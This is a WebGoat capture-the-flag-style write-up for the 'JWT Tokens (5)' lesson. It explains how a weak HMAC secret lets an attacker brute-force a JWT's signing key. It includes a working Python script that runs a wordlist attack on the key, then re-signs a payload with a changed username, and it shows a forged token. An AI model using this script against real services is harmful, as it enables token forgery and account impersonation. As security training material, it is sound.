JWT Tokens (5)
With the HMAC with SHA-2 Functions you use a secret key to sign and verify the token. Once we figure out this key we can create a new token and sign it. So it is very important the key is strong enough so a brute force or dictionary attack is not feasible. Once you have a token you can start an offline brute force or dictionary attack.
Given we have the following token try to find out secret key and submit a new key with the username changed to WebGoat.
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTU5MDczNTQ3NiwiZXhwIjoxNTkwNzM1NTM2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.28VXP4trt_uDrKM7Dn10ZotOhYoOhJy3dL-xu5boKzc
Save the token and try to verify the token locally
Download a word list dictionary (https://github.com/first20hours/google-10000-english)
Write a small program or use HashCat for brute forcing the token according the word list
💡
💡
💡
It is possible to validate this challenge with tools like johntheripper and https://jwt.io/, but in order to get a better understanding of the whole process, here a Python script.
- Isolate the signature, and reformat it correctly.
- Use each word of the dictionary as a key, calculate the HMAC of the initial message, convert it to base64, and compare it with the signature.
- If there is a match, the dictionary word is the key used (value found : victory).
- Then calculate the new signature with the modified message
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJ
pYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ
0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmN
vbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.dImA6LEwQc1-ZqVP
WWGE01u1jO2a-yfx8lZetbDqiTc
import base64
import hashlib
import hmac
def jwt_tokens_5():
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM'.split('.')
payload = '{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"[email protected]","username":"WebGoat","Email":"[email protected]","Role":["Manager","Project Administrator"]}'.encode()
unsigned_token = (token[0] + '.' + token[1]).encode()
# signature is base64 URL encoded and padding has been removed, so we must add it
signature = (token[2] + '=' * (-len(token[2]) % 4)).encode()
with open('google-10000-english-master/google-10000-english.txt', 'r') as fd:
lines = [line.rstrip('\n').encode() for line in fd]
def hmac_base64(key, message):
return base64.urlsafe_b64encode(bytes.fromhex(hmac.new(key, message, hashlib.sha256).hexdigest()))
for line in lines:
test = hmac_base64(line, unsigned_token)
if test == signature:
print('Key: {}'.format(line.decode()))
new_token = (token[0] + '.' + base64.urlsafe_b64encode(payload).decode().rstrip('=')).encode()
new_signature = hmac_base64(line, new_token)
new_token += ('.' + new_signature.decode().rstrip('=')).encode()
print('New token: {}'.format(new_token.decode()))
return
jwt_tokens_5()
Last modified 3yr ago